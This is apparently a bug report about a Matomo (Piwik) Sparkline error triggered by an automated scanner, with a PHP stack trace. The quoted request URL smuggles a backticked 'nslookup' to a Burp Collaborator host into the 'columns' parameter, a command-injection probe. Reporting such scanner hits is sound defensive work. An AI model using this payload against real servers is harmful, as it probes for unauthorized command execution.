This was triggered by an automated testing tool and generated emails with this warning:

Error: {"message":"Argument 1 passed to Piwik\Plugins\CoreVisualizations\Visualizations\Sparkline::ensureValuesEvenIfEmpty() must be of the type array, boolean given, called in /var/www/html/plugins/CoreVisualizations/Visualizations/Sparkline.php on line 91","file":"/var/www/html/plugins/CoreVisualizations/Visualizations/Sparkline.php","line":180,"request_id":"d67c0","backtrace":" on /var/www/html/plugins/CoreVisualizations/Visualizations/Sparkline.php(180)\n#0 /var/www/html/plugins/CoreVisualizations/Visualizations/Sparkline.php(91): Piwik\Plugins\CoreVisualizations\Visualizations\Sparkline->ensureValuesEvenIfEmpty(false)\n#1 /var/www/html/core/Plugin/Controller.php(248): Piwik\Plugins\CoreVisualizations\Visualizations\Sparkline->render()\n#2 /var/www/html/plugins/MultiSites/Controller.php(119): Piwik\Plugin\Controller->renderView(Object(Piwik\Plugins\CoreVisualizations\Visualizations\Sparkline))\n#3 [internal function]: Piwik\Plugins\MultiSites\Controller->getEvolutionGraph()\n#4 /var/www/html/core/FrontController.php(590): call_user_func_array(Array, Array)\n#5 /var/www/html/core/FrontController.php(165): Piwik\FrontController->doDispatch('MultiSites', 'getEvolutionGra...', Array)\n#6 /var/www/html/core/dispatch.php(34): Piwik\FrontController->dispatch()\n#7 /var/www/html/index.php(27): require_once('/var/www/html/c...')\n#8 {main}"}

URL: ?module=MultiSites&action=getEvolutionGraph&period=day&date=2020-07-12,2020-08-10&evolutionBy=nb_visits&columns=nb_visits%0A%60nslookup+43.097h5lhoddippmsnaxbfrn34xv3ntjh8.burpcollaborator.net%60%0Anb_visits&idSite=5&idsite=5&viewDataTable=sparkline&colors=%7B%22backgroundColor%22%3A%22%23ffffff%22%2C%22lineColor%22%3A%22%23162c4a%22%2C%22minPointColor%22%3A%22%23ff7f7f%22%2C%22maxPointColor%22%3A%22%2375bf7c%22%2C%22lastPointColor%22%3A%22%2355aaff%22%2C%22fillColor%22%3A%22%23ffffff%22%7D